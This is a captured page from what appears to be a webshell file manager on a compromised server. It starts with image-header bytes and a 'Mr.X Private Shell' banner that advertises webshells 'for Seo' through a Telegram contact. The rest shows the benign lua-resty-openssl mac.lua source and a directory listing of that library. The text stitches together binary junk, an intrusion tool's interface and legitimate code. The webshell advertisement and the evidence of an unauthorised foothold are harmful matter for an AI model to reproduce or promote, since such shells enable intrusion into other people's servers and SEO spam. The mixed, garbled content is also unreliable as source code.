����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
local ffi = require "ffi"
local C = ffi.C
local ffi_gc = ffi.gc
local ffi_str = ffi.string
require "resty.openssl.include.evp.mac"
local param_lib = require "resty.openssl.param"
local ctx_lib = require "resty.openssl.ctx"
local ctypes = require "resty.openssl.auxiliary.ctypes"
local format_error = require("resty.openssl.err").format_error
local OPENSSL_3X = require("resty.openssl.version").OPENSSL_3X
local _M = {}
local mt = {__index = _M}
local mac_ctx_ptr_ct = ffi.typeof('EVP_MAC_CTX*')
local param_types = {
cipher = param_lib.OSSL_PARAM_UTF8_STRING,
digest = param_lib.OSSL_PARAM_UTF8_STRING,
}
local params = {}
function _M.new(key, typ, cipher, digest, properties)
if not OPENSSL_3X then
return false, "EVP_MAC is only supported from OpenSSL 3.0"
end
local algo = C.EVP_MAC_fetch(ctx_lib.get_libctx(), typ, properties)
if algo == nil then
return nil, format_error(string.format("mac.new: invalid mac type \"%s\"", typ))
end
ffi_gc(algo, C.EVP_MAC_free)
local ctx = C.EVP_MAC_CTX_new(algo)
if ctx == nil then
return nil, "mac.new: failed to create EVP_MAC_CTX"
end
ffi_gc(ctx, C.EVP_MAC_CTX_free)
params.digest = digest
params.cipher = cipher
local p = param_lib.construct(params, 2, param_types)
local keyl = #key
local code = C.EVP_MAC_init(ctx, key, keyl, p)
if code ~= 1 then
return nil, format_error(string.format("mac.new: invalid cipher or digest type"))
end
local md_size = C.EVP_MAC_CTX_get_mac_size(ctx)
return setmetatable({
ctx = ctx,
algo = algo,
buf = ctypes.uchar_array(md_size),
buf_size = md_size,
_reset = function() return C.EVP_MAC_init(ctx, key, keyl, p) end,
}, mt), nil
end
function _M.istype(l)
return l and l.ctx and ffi.istype(mac_ctx_ptr_ct, l.ctx)
end
function _M:get_provider_name()
local p = C.EVP_MAC_get0_provider(self.algo)
if p == nil then
return nil
end
return ffi_str(C.OSSL_PROVIDER_get0_name(p))
end
_M.settable_params, _M.set_params, _M.gettable_params, _M.get_param = param_lib.get_params_func("EVP_MAC_CTX")
function _M:update(...)
for _, s in ipairs({...}) do
if C.EVP_MAC_update(self.ctx, s, #s) ~= 1 then
return false, format_error("mac:update")
end
end
return true, nil
end
function _M:final(s)
if s then
if C.EVP_MAC_update(self.ctx, s, #s) ~= 1 then
return false, format_error("mac:final")
end
end
local length = ctypes.ptr_of_size_t()
if C.EVP_MAC_final(self.ctx, self.buf, length, self.buf_size) ~= 1 then
return nil, format_error("mac:final: EVP_MAC_final")
end
return ffi_str(self.buf, length[0])
end
function _M:reset()
local code = self._reset()
if code ~= 1 then
return false, format_error("mac:reset")
end
return true
end
return _M
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| auxiliary | Folder | 0755 |
|
|
| include | Folder | 0755 |
|
|
| x509 | Folder | 0755 |
|
|
| asn1.lua | File | 2.53 KB | 0644 |
|
| bn.lua | File | 9.36 KB | 0644 |
|
| cipher.lua | File | 8.79 KB | 0644 |
|
| crypto.lua | File | 489 B | 0644 |
|
| ctx.lua | File | 1.59 KB | 0644 |
|
| dh.lua | File | 2.59 KB | 0644 |
|
| digest.lua | File | 2.67 KB | 0644 |
|
| ec.lua | File | 5.04 KB | 0644 |
|
| ecx.lua | File | 2.02 KB | 0644 |
|
| err.lua | File | 2.94 KB | 0644 |
|
| hmac.lua | File | 1.95 KB | 0644 |
|
| kdf.lua | File | 11.26 KB | 0644 |
|
| mac.lua | File | 2.71 KB | 0644 |
|
| objects.lua | File | 1.69 KB | 0644 |
|
| param.lua | File | 10.92 KB | 0644 |
|
| pkcs12.lua | File | 4.72 KB | 0644 |
|
| pkey.lua | File | 31.17 KB | 0644 |
|
| provider.lua | File | 3.44 KB | 0644 |
|
| rand.lua | File | 1.33 KB | 0644 |
|
| rsa.lua | File | 3.43 KB | 0644 |
|
| ssl.lua | File | 8.56 KB | 0644 |
|
| ssl_ctx.lua | File | 2.11 KB | 0644 |
|
| stack.lua | File | 3.69 KB | 0644 |
|
| version.lua | File | 2.86 KB | 0644 |
|